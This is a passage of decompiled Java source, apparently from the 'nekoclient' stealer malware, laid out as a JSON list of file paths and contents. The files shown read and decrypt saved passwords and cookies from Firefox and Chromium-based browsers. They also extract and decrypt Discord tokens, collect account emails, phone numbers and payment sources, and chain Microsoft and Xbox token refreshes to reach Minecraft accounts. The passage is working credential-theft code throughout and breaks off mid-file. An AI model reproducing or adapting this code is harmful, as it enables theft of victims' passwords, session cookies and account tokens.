                Connection connection = DriverManager.getConnection(String.format(\"jdbc:sqlite:%s\", cookiesFile.toAbsolutePath()));\r\n                  Statement statement = connection.createStatement();\r\n                  ResultSet resultSet = statement.executeQuery(\"SELECT * FROM moz_cookies\");\r\n\r\n                  while(resultSet.next()) {\r\n                     browserData.addCookie(\r\n                        new Cookie(\r\n                           resultSet.getString(\"host\"),\r\n                           resultSet.getString(\"path\"),\r\n                           resultSet.getString(\"name\"),\r\n                           resultSet.getString(\"value\"),\r\n                           (long)resultSet.getInt(\"expiry\") * 1000L,\r\n                           Objects.equals(resultSet.getInt(\"isSecure\"), 1),\r\n                           Objects.equals(resultSet.getInt(\"isHttpOnly\"), 1)\r\n                        )\r\n                     );\r\n                  }\r\n\r\n                  resultSet.close();\r\n                  statement.close();\r\n                  connection.close();\r\n               } catch (SQLException var12) {\r\n               }\r\n            }\r\n\r\n            Path loginsFile = profile.resolve(\"logins.json\");\r\n            if (Files.isRegularFile(loginsFile) && Files.isReadable(loginsFile) && MozillaDecryptor.isSupported()) {\r\n               MozillaDecryptor mozillaDecryptor = new MozillaDecryptor();\r\n               mozillaDecryptor.init(profile);\r\n\r\n               try {\r\n                  JsonObject data = Json.parse(Files.newBufferedReader(loginsFile)).asObject();\r\n                  if (Objects.nonNull(data.get(\"logins\"))) {\r\n                     JsonArray logins = data.get(\"logins\").asArray();\r\n\r\n                     for(JsonObject login : logins.values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {\r\n                        browserData.addCredential(\r\n                           new Credential(\r\n                              new URL(login.get(\"hostname\").asString()),\r\n                              mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get(\"encryptedUsername\").asString())),\r\n                              mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get(\"encryptedPassword\").asString()))\r\n                           )\r\n                        );\r\n                     }\r\n                  }\r\n               } catch (IOException | ParseException var13) {\r\n               }\r\n\r\n               mozillaDecryptor.shutdown();\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   public static void readChromiumSafely(BrowserData browserData, Path userData) {\r\n      try {\r\n         readChromium(browserData, userData);\r\n      } catch (Throwable var3) {\r\n      }\r\n   }\r\n\r\n   public static void readChromium(BrowserData browserData, Path userData) throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException {\r\n      if (Files.exists(userData) && ChromeDecryptor.isSupported()) {\r\n         JsonObject localState = Json.parse(new InputStreamReader(Files.newInputStream(userData.resolve(\"Local State\")))).asObject();\r\n         List<String> profiles = Objects.isNull(localState.get(\"profile\"))\r\n            ? Collections.singletonList(\".\")\r\n            : localState.get(\"profile\").asObject().get(\"info_cache\").asObject().names();\r\n         ChromeDecryptor chromeDecryptor = new ChromeDecryptor(\r\n            Base64.getDecoder().decode(localState.get(\"os_crypt\").asObject().get(\"encrypted_key\").asString())\r\n         );\r\n\r\n         for(String profile : profiles) {\r\n            Path cookiesFile = userData.resolve(profile).resolve(\"Network\").resolve(\"Cookies\");\r\n            if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) {\r\n               try {\r\n                  Connection connection = DriverManager.getConnection(String.format(\"jdbc:sqlite:%s\", cookiesFile.toAbsolutePath()));\r\n                  Statement statement = connection.createStatement();\r\n                  ResultSet resultSet = statement.executeQuery(\"SELECT * FROM cookies\");\r\n\r\n                  while(resultSet.next()) {\r\n                     Cookie cookie = new Cookie(\r\n                        resultSet.getString(\"host_key\"),\r\n                        resultSet.getString(\"path\"),\r\n                        resultSet.getString(\"name\"),\r\n                        chromeDecryptor.decrypt(resultSet.getBytes(\"encrypted_value\")),\r\n                        resultSet.getLong(\"expires_utc\") / 1000L,\r\n                        Objects.equals(resultSet.getInt(\"is_secure\"), 1),\r\n                        Objects.equals(resultSet.getInt(\"is_httponly\"), 1)\r\n                     );\r\n                     browserData.addCookie(cookie);\r\n                  }\r\n\r\n                  resultSet.close();\r\n                  statement.close();\r\n                  connection.close();\r\n               } catch (SQLException var16) {\r\n               }\r\n            }\r\n\r\n            Path loginDataFile = userData.resolve(profile).resolve(\"Login Data\");\r\n            if (Files.isRegularFile(loginDataFile) && Files.isReadable(loginDataFile) && ChromeDecryptor.isSupported()) {\r\n               try {\r\n                  Connection connection = DriverManager.getConnection(String.format(\"jdbc:sqlite:%s\", loginDataFile.toAbsolutePath()));\r\n                  Statement statement = connection.createStatement();\r\n                  ResultSet resultSet = statement.executeQuery(\"SELECT * FROM logins\");\r\n\r\n                  while(resultSet.next()) {\r\n                     String originUrl = resultSet.getString(\"origin_url\");\r\n                     String username = resultSet.getString(\"username_value\");\r\n                     byte[] password = resultSet.getBytes(\"password_value\");\r\n                     if (!originUrl.isEmpty() && !username.isEmpty() && password.length != 0) {\r\n                        Credential credential = new Credential(new URL(originUrl), username, chromeDecryptor.decrypt(password));\r\n                        browserData.addCredential(credential);\r\n                     }\r\n                  }\r\n\r\n                  resultSet.close();\r\n                  statement.close();\r\n                  connection.close();\r\n               } catch (SQLException var17) {\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   static {\r\n      try {\r\n         Class.forName(\"org.sqlite.JDBC\");\r\n      } catch (ClassNotFoundException var1) {\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/credential/Credential.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl.credential;\r\n\r\nimport java.net.URL;\r\nimport java.util.Objects;\r\n\r\npublic class Credential {\r\n   private final URL host;\r\n   private final String username;\r\n   private final String password;\r\n\r\n   public Credential(URL host, String username, String password) {\r\n      this.host = host;\r\n      this.username = username;\r\n      this.password = password;\r\n   }\r\n\r\n   public final URL getHost() {\r\n      return this.host;\r\n   }\r\n\r\n   public final String getUsername() {\r\n      return this.username;\r\n   }\r\n\r\n   public final String getPassword() {\r\n      return this.password;\r\n   }\r\n\r\n   @Override\r\n   public boolean equals(Object obj) {\r\n      if (!(obj instanceof Credential)) {\r\n         return super.equals(obj);\r\n      } else {\r\n         Credential other = (Credential)obj;\r\n         return Objects.equals(other.getHost(), this.host)\r\n            && Objects.equals(other.getUsername(), this.username)\r\n            && Objects.equals(other.getPassword(), this.password);\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/decrypt/chrome/ChromeDecryptor.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome;\r\n\r\nimport com.sun.jna.Platform;\r\nimport com.sun.jna.platform.win32.Crypt32Util;\r\nimport java.security.InvalidAlgorithmParameterException;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.Arrays;\r\nimport java.util.Objects;\r\nimport javax.crypto.BadPaddingException;\r\nimport javax.crypto.Cipher;\r\nimport javax.crypto.IllegalBlockSizeException;\r\nimport javax.crypto.NoSuchPaddingException;\r\nimport javax.crypto.spec.GCMParameterSpec;\r\nimport javax.crypto.spec.SecretKeySpec;\r\n\r\npublic class ChromeDecryptor {\r\n   private final byte[] masterKey;\r\n   private static final String EMPTY_STRING = \"\";\r\n\r\n   public ChromeDecryptor(byte[] masterKey) {\r\n      if (!isSupported()) {\r\n         throw new UnsupportedOperationException();\r\n      } else {\r\n         this.masterKey = Crypt32Util.cryptUnprotectData(Arrays.copyOfRange(masterKey, 5, masterKey.length));\r\n      }\r\n   }\r\n\r\n   public String decrypt(byte[] encrypted) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException {\r\n      if (Objects.equals(encrypted.length, 0)) {\r\n         return \"\";\r\n      } else {\r\n         Cipher cipher = Cipher.getInstance(\"AES/GCM/NoPadding\");\r\n         cipher.init(2, new SecretKeySpec(this.masterKey, \"AES\"), new GCMParameterSpec(128, Arrays.copyOfRange(encrypted, 3, 15)));\r\n         return new String(cipher.doFinal(Arrays.copyOfRange(encrypted, 15, encrypted.length)));\r\n      }\r\n   }\r\n\r\n   public static boolean isSupported() {\r\n      return Platform.isWindows();\r\n   }\r\n\r\n   public final byte[] getMasterKey() {\r\n      return this.masterKey;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/MozillaDecryptor.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;\r\n\r\nimport com.sun.jna.Native;\r\nimport com.sun.jna.Platform;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.util.Objects;\r\n\r\npublic class MozillaDecryptor {\r\n   private final NSSLibrary nssLibrary;\r\n\r\n   public MozillaDecryptor() {\r\n      if (!isSupported()) {\r\n         throw new UnsupportedOperationException();\r\n      } else {\r\n         this.nssLibrary = Native.load(getInstallationPath().toAbsolutePath().toString(), NSSLibrary.class);\r\n      }\r\n   }\r\n\r\n   public void init(Path profile) {\r\n      this.nssLibrary.NSS_Init(profile.toAbsolutePath().toString());\r\n   }\r\n\r\n   public String decrypt(byte[] encryptedData) {\r\n      SECItem input = new SECItem.ByReference(0, encryptedData, encryptedData.length);\r\n      SECItem output = new SECItem.ByReference(0, null, 0);\r\n      this.nssLibrary.PK11SDR_Decrypt(input, output, null);\r\n      if (Objects.isNull(output.data)) {\r\n         return null;\r\n      } else {\r\n         String decrypted = new String(output.data.getByteArray(0L, output.len));\r\n         this.nssLibrary.SECITEM_ZfreeItem(output, 0);\r\n         return decrypted;\r\n      }\r\n   }\r\n\r\n   public void shutdown() {\r\n      this.nssLibrary.NSS_Shutdown();\r\n   }\r\n\r\n   private static Path getInstallationPath() {\r\n      return Paths.get(System.getenv(\"PROGRAMFILES\"), \"Mozilla Firefox\", \"nss3.dll\");\r\n   }\r\n\r\n   public static boolean isSupported() {\r\n      return Platform.isWindows() && Objects.nonNull(System.getenv(\"PROGRAMFILES\")) && Files.exists(getInstallationPath());\r\n   }\r\n\r\n   public final NSSLibrary getNssLibrary() {\r\n      return this.nssLibrary;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/NSSLibrary.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;\r\n\r\nimport com.sun.jna.Library;\r\nimport com.sun.jna.ptr.PointerByReference;\r\n\r\npublic interface NSSLibrary extends Library {\r\n   void NSS_Init(String var1);\r\n\r\n   int PK11_GetInternalKeySlot(PointerByReference var1);\r\n\r\n   int PK11_FreeSlot(PointerByReference var1);\r\n\r\n   int PK11_NeedLogin(PointerByReference var1);\r\n\r\n   int PK11SDR_Decrypt(SECItem var1, SECItem var2, PointerByReference var3);\r\n\r\n   void SECITEM_ZfreeItem(SECItem var1, int var2);\r\n\r\n   void NSS_Shutdown();\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/SECItem.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;\r\n\r\nimport com.sun.jna.Memory;\r\nimport com.sun.jna.Pointer;\r\nimport com.sun.jna.Structure;\r\nimport java.util.Arrays;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\n\r\npublic class SECItem extends Structure {\r\n   public int type;\r\n   public Pointer data;\r\n   public int len;\r\n\r\n   @Override\r\n   protected List<String> getFieldOrder() {\r\n      return Arrays.asList(\"type\", \"data\", \"len\");\r\n   }\r\n\r\n   public static class ByReference extends SECItem implements Structure.ByReference {\r\n      public ByReference(int type, byte[] data, int len) {\r\n         this.type = type;\r\n         this.len = len;\r\n         if (Objects.isNull(data)) {\r\n            this.data = null;\r\n         } else {\r\n            Memory memory = new Memory((long)data.length);\r\n            memory.write(0L, data, 0, data.length);\r\n            this.data = memory;\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java",
    "content": "package dev.neko.nekoclient.api.stealer.discord;\r\n\r\nimport com.eclipsesource.json.JsonArray;\r\nimport com.eclipsesource.json.JsonObject;\r\nimport com.eclipsesource.json.JsonValue;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.stream.Collectors;\r\n\r\npublic class DiscordAccount {\r\n   private final String token;\r\n   private final String id;\r\n   private final String username;\r\n   private final String discriminator;\r\n   private final String email;\r\n   private final String phone;\r\n   private final boolean verified;\r\n   private final boolean mfa;\r\n   private final List<String> badges;\r\n   private final List<String> paymentSources;\r\n\r\n   public DiscordAccount(\r\n      String token,\r\n      String id,\r\n      String username,\r\n      String discriminator,\r\n      String email,\r\n      String phone,\r\n      boolean verified,\r\n      boolean mfa,\r\n      List<String> badges,\r\n      List<String> paymentSources\r\n   ) {\r\n      this.token = token;\r\n      this.id = id;\r\n      this.username = username;\r\n      this.discriminator = discriminator;\r\n      this.email = email;\r\n      this.phone = phone;\r\n      this.verified = verified;\r\n      this.mfa = mfa;\r\n      this.badges = badges;\r\n      this.paymentSources = paymentSources;\r\n   }\r\n\r\n   public static DiscordAccount parse(String token, JsonObject profile, JsonObject user, JsonArray paymentSources) {\r\n      return new DiscordAccount(\r\n         token,\r\n         user.get(\"id\").asString(),\r\n         user.get(\"username\").asString(),\r\n         user.get(\"discriminator\").asString(),\r\n         user.get(\"email\").asString(),\r\n         user.get(\"phone\").asString(),\r\n         user.get(\"verified\").asBoolean(),\r\n         user.get(\"mfa_enabled\").asBoolean(),\r\n         profile.get(\"badges\").asArray().values().stream().map(JsonValue::asObject).map(object -> object.get(\"id\").asString()).collect(Collectors.toList()),\r\n         paymentSources.values()\r\n            .stream()\r\n            .map(JsonValue::asObject)\r\n            .filter(source -> !source.getBoolean(\"invalid\", true))\r\n            .map(source -> source.get(\"brand\"))\r\n            .filter(Objects::nonNull)\r\n            .map(JsonValue::asString)\r\n            .collect(Collectors.toList())\r\n      );\r\n   }\r\n\r\n   public final String getToken() {\r\n      return this.token;\r\n   }\r\n\r\n   public final String getId() {\r\n      return this.id;\r\n   }\r\n\r\n   public final String getUsername() {\r\n      return this.username;\r\n   }\r\n\r\n   public final String getDiscriminator() {\r\n      return this.discriminator;\r\n   }\r\n\r\n   public final List<String> getBadges() {\r\n      return this.badges;\r\n   }\r\n\r\n   public final String getEmail() {\r\n      return this.email;\r\n   }\r\n\r\n   public final String getPhone() {\r\n      return this.phone;\r\n   }\r\n\r\n   public final boolean isVerified() {\r\n      return this.verified;\r\n   }\r\n\r\n   public final boolean isMfa() {\r\n      return this.mfa;\r\n   }\r\n\r\n   public final List<String> getPaymentSources() {\r\n      return this.paymentSources;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/discord/impl/DiscordStealer.java",
    "content": "package dev.neko.nekoclient.api.stealer.discord.impl;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport com.sun.jna.Platform;\r\nimport com.sun.jna.platform.win32.Crypt32Util;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.security.InvalidAlgorithmParameterException;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.Base64;\r\nimport java.util.List;\r\nimport java.util.regex.Matcher;\r\nimport java.util.regex.Pattern;\r\nimport java.util.stream.Collectors;\r\nimport javax.crypto.BadPaddingException;\r\nimport javax.crypto.Cipher;\r\nimport javax.crypto.IllegalBlockSizeException;\r\nimport javax.crypto.NoSuchPaddingException;\r\nimport javax.crypto.spec.GCMParameterSpec;\r\nimport javax.crypto.spec.SecretKeySpec;\r\n\r\npublic class DiscordStealer {\r\n   public static List<String> retrieve() {\r\n      List<String> tokens = new ArrayList<>();\r\n      if (!Platform.isWindows()) {\r\n         return tokens;\r\n      } else {\r\n         retrieveLocalDiscordInstallationSafely(tokens, \"discord\");\r\n         retrieveLocalDiscordInstallationSafely(tokens, \"discordcanary\");\r\n         retrieveLocalDiscordInstallationSafely(tokens, \"discordptb\");\r\n         retrieveLocalDiscordInstallationSafely(tokens, \"Lightcord\");\r\n         return tokens;\r\n      }\r\n   }\r\n\r\n   private static void retrieveLocalDiscordInstallationSafely(List<String> tokens, String channel) {\r\n      try {\r\n         retrieveLocalDiscordInstallation(tokens, channel);\r\n      } catch (Throwable var3) {\r\n      }\r\n   }\r\n\r\n   private static void retrieveLocalDiscordInstallation(List<String> tokens, String channel) throws InvalidAlgorithmParameterException, NoSuchPaddingException, IllegalBlockSizeException, IOException, NoSuchAlgorithmException, BadPaddingException, InvalidKeyException {\r\n      Path path = Paths.get(System.getenv(\"APPDATA\"), channel);\r\n      retrieveChromeTokens(tokens, path.resolve(\"Local State\"), path.resolve(\"Local Storage\").resolve(\"leveldb\"));\r\n   }\r\n\r\n   private static void retrieveChromeTokens(List<String> tokens, Path localState, Path localStorage) throws IOException, InvalidAlgorithmParameterException, InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException {\r\n      if (Files.exists(localState) && Files.exists(localStorage)) {\r\n         byte[] encodedKey = Base64.getDecoder()\r\n            .decode(Json.parse(new InputStreamReader(Files.newInputStream(localState))).asObject().get(\"os_crypt\").asObject().get(\"encrypted_key\").asString());\r\n         byte[] key = Arrays.copyOfRange(encodedKey, 5, encodedKey.length);\r\n         Pattern pattern = Pattern.compile(\"dQw4w9WgXcQ:([^\\\"]*)\\\"\");\r\n\r\n         for(Path path : Files.walk(localStorage).filter(pathx -> pathx.getFileName().toString().endsWith(\".ldb\")).collect(Collectors.toList())) {\r\n            Matcher matcher = pattern.matcher(new String(Files.readAllBytes(path)));\r\n\r\n            while(matcher.find()) {\r\n               byte[] encryptedToken = Base64.getDecoder().decode(matcher.group(1));\r\n               Cipher cipher = Cipher.getInstance(\"AES/GCM/NoPadding\");\r\n               cipher.init(\r\n                  2, new SecretKeySpec(Crypt32Util.cryptUnprotectData(key), \"AES\"), new GCMParameterSpec(128, Arrays.copyOfRange(encryptedToken, 3, 15))\r\n               );\r\n               String token = new String(cipher.doFinal(Arrays.copyOfRange(encryptedToken, 15, encryptedToken.length)));\r\n               if (!tokens.contains(token)) {\r\n                  tokens.add(token);\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/ClientType.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth;\r\n\r\npublic class ClientType {\r\n   public static final String EXTERNAL_TOKEN_TYPE = \"d\";\r\n   public static final String DEFAULT_SCOPE = \"service::user.auth.xboxlive.com::mbi_ssl\";\r\n   public static final String EXTERNAL_SCOPE = \"XboxLive.signin offline_access\";\r\n   public static final String DEFAULT_TOKEN_TYPE = \"t\";\r\n   public static final ClientType DEFAULT = new ClientType(\"00000000402B5328\", \"service::user.auth.xboxlive.com::mbi_ssl\", \"t\");\r\n   public static final ClientType POLYMC = new ClientType(\"6b329578-bfec-42a3-b503-303ab3f2ac96\", \"XboxLive.signin offline_access\", \"d\");\r\n   public static final ClientType PRISM = new ClientType(\"c36a9fb6-4f2a-41ff-90bd-ae7cc92031eb\", \"XboxLive.signin offline_access\", \"d\");\r\n   public static final ClientType TECHNIC_LAUNCHER = new ClientType(\"8dfabc1d-38a9-42d8-bc08-677dbc60fe65\", \"XboxLive.signin offline_access\", \"d\");\r\n   public static final ClientType LABYMOD = new ClientType(\"27843883-6e3b-42cb-9e51-4f55a700601e\", \"XboxLive.signin offline_access\", \"d\");\r\n   private final String clientId;\r\n   private final String scope;\r\n   private final String tokenType;\r\n\r\n   public ClientType(String clientId, String scope, String tokenType) {\r\n      this.clientId = clientId;\r\n      this.scope = scope;\r\n      this.tokenType = tokenType;\r\n   }\r\n\r\n   public final String getClientId() {\r\n      return this.clientId;\r\n   }\r\n\r\n   public final String getScope() {\r\n      return this.scope;\r\n   }\r\n\r\n   public final String getTokenType() {\r\n      return this.tokenType;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/MicrosoftAuth.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport com.eclipsesource.json.JsonValue;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.MinecraftCredentials;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.XSTSCredentials;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.XboxLiveCredentials;\r\nimport dev.neko.nekoclient.utils.FormUtil;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.net.URL;\r\nimport java.util.HashMap;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport java.util.Objects;\r\nimport java.util.stream.Collectors;\r\nimport javax.net.ssl.HttpsURLConnection;\r\n\r\npublic class MicrosoftAuth {\r\n   public static MicrosoftCredentials refreshToken(MicrosoftCredentials microsoftCredentials) throws IOException {\r\n      return refreshToken(microsoftCredentials.getRefreshToken(), microsoftCredentials.getClientType());\r\n   }\r\n\r\n   public static MicrosoftCredentials refreshToken(String refreshToken, ClientType clientType) throws IOException {\r\n      Map<String, String> params = new HashMap<>();\r\n      params.put(\"client_id\", clientType.getClientId());\r\n      params.put(\"redirect_uri\", \"https://login.live.com/oauth20_desktop.srf\");\r\n      if (Objects.nonNull(clientType.getScope())) {\r\n         params.put(\"scope\", clientType.getScope());\r\n      }\r\n\r\n      params.put(\"response_type\", \"token\");\r\n      params.put(\"refresh_token\", refreshToken);\r\n      params.put(\"grant_type\", \"refresh_token\");\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://login.live.com/oauth20_token.srf\").openConnection();\r\n      connection.setDoOutput(true);\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"POST\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n      connection.getOutputStream().write(FormUtil.encodeToForm(params).getBytes());\r\n      return MicrosoftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject(), clientType);\r\n   }\r\n\r\n   public static XboxLiveCredentials retrieveXboxLiveCredentials(MicrosoftCredentials microsoftCredentials) throws IOException {\r\n      return retrieveXboxLiveCredentials(microsoftCredentials.getAccessToken(), microsoftCredentials.getClientType().getTokenType());\r\n   }\r\n\r\n   public static XboxLiveCredentials retrieveXboxLiveCredentials(String microsoftAccessToken, String tokenType) throws IOException {\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://user.auth.xboxlive.com/user/authenticate\").openConnection();\r\n      connection.setDoOutput(true);\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"POST\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/json\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.getOutputStream()\r\n         .write(\r\n            Json.object()\r\n               .add(\r\n                  \"Properties\",\r\n                  Json.object()\r\n                     .add(\"AuthMethod\", \"RPS\")\r\n                     .add(\"SiteName\", \"user.auth.xboxlive.com\")\r\n                     .add(\"RpsTicket\", String.format(\"%s=%s\", tokenType, microsoftAccessToken))\r\n               )\r\n               .add(\"RelyingParty\", \"http://auth.xboxlive.com\")\r\n               .add(\"TokenType\", \"JWT\")\r\n               .toString()\r\n               .getBytes()\r\n         );\r\n      return XboxLiveCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());\r\n   }\r\n\r\n   public static XSTSCredentials retrieveXSTSCredentials(XboxLiveCredentials xboxLiveCredentials) throws IOException {\r\n      return retrieveXSTSCredentials(xboxLiveCredentials.getToken());\r\n   }\r\n\r\n   public static XSTSCredentials retrieveXSTSCredentials(String xboxLiveToken) throws IOException {\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://xsts.auth.xboxlive.com/xsts/authorize\").openConnection();\r\n      connection.setDoOutput(true);\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"POST\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/json\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.getOutputStream()\r\n         .write(\r\n            Json.object()\r\n               .add(\"Properties\", Json.object().add(\"SandboxId\", \"RETAIL\").add(\"UserTokens\", Json.array(xboxLiveToken)))\r\n               .add(\"RelyingParty\", \"rp://api.minecraftservices.com/\")\r\n               .add(\"TokenType\", \"JWT\")\r\n               .toString()\r\n               .getBytes()\r\n         );\r\n      return XSTSCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());\r\n   }\r\n\r\n   public static MinecraftCredentials retrieveMinecraftCredentials(XSTSCredentials xstsCredentials) throws IOException {\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://api.minecraftservices.com/authentication/login_with_xbox\").openConnection();\r\n      connection.setDoOutput(true);\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"POST\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/json\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.getOutputStream()\r\n         .write(\r\n            Json.object()\r\n               .add(\"identityToken\", String.format(\"XBL3.0 x=%s;%s\", xstsCredentials.getUserHash(), xstsCredentials.getToken()))\r\n               .toString()\r\n               .getBytes()\r\n         );\r\n      return MinecraftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());\r\n   }\r\n\r\n   public static boolean hasMinecraft(MinecraftCredentials minecraftCredentials) throws IOException {\r\n      return retrieveMinecraftStore(minecraftCredentials).contains(\"game_minecraft\");\r\n   }\r\n\r\n   public static boolean hasMinecraft(String minecraftAccessToken) throws IOException {\r\n      return retrieveMinecraftStore(minecraftAccessToken).contains(\"game_minecraft\");\r\n   }\r\n\r\n   public static List<String> retrieveMinecraftStore(MinecraftCredentials minecraftCredentials) throws IOException {\r\n      return retrieveMinecraftStore(minecraftCredentials.getAccessToken());\r\n   }\r\n\r\n   public static List<String> retrieveMinecraftStore(String minecraftAccessToken) throws IOException {\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://api.minecraftservices.com/entitlements/mcstore\").openConnection();\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"GET\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/json\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.setRequestProperty(\"Authorization\", String.format(\"Bearer %s\", minecraftAccessToken));\r\n      return Json.parse(new InputStreamReader(connection.getInputStream()))\r\n         .asObject()\r\n         .get(\"items\")\r\n         .asArray()\r\n         .values()\r\n         .stream()\r\n         .map(JsonValue::asObject)\r\n         .map(object -> object.get(\"name\"))\r\n         .map(JsonValue::asString)\r\n         .collect(Collectors.toList());\r\n   }\r\n\r\n   public static MinecraftProfile retrieveMinecraftProfile(MinecraftCredentials minecraftCredentials) throws IOException {\r\n      return retrieveMinecraftProfile(minecraftCredentials.getAccessToken());\r\n   }\r\n\r\n   public static MinecraftProfile retrieveMinecraftProfile(String minecraftAccessToken) throws IOException {\r\n      HttpsURLConnection connection = (HttpsURLConnection)new URL(\"https://api.minecraftservices.com/minecraft/profile\").openConnection();\r\n      connection.setDoInput(true);\r\n      connection.setRequestMethod(\"GET\");\r\n      connection.setRequestProperty(\"Content-Type\", \"application/json\");\r\n      connection.setRequestProperty(\"Accept\", \"application/json\");\r\n      connection.setRequestProperty(\"Authorization\", String.format(\"Bearer %s\", minecraftAccessToken));\r\n      return MinecraftProfile.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/MinecraftProfile.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport java.util.UUID;\r\n\r\npublic class MinecraftProfile {\r\n   private final UUID id;\r\n   private final String name;\r\n\r\n   public MinecraftProfile(UUID id, String name) {\r\n      this.id = id;\r\n      this.name = name;\r\n   }\r\n\r\n   private static UUID convertProfileIdToUUID(String id) {\r\n      return UUID.fromString(new StringBuilder(id).insert(8, \"-\").insert(13, \"-\").insert(18, \"-\").insert(23, \"-\").toString());\r\n   }\r\n\r\n   public static MinecraftProfile parseResponse(JsonObject json) {\r\n      return new MinecraftProfile(convertProfileIdToUUID(json.get(\"id\").asString()), json.get(\"name\").asString());\r\n   }\r\n\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   public final UUID getId() {\r\n      return this.id;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/credentials/MicrosoftCredentials.java",
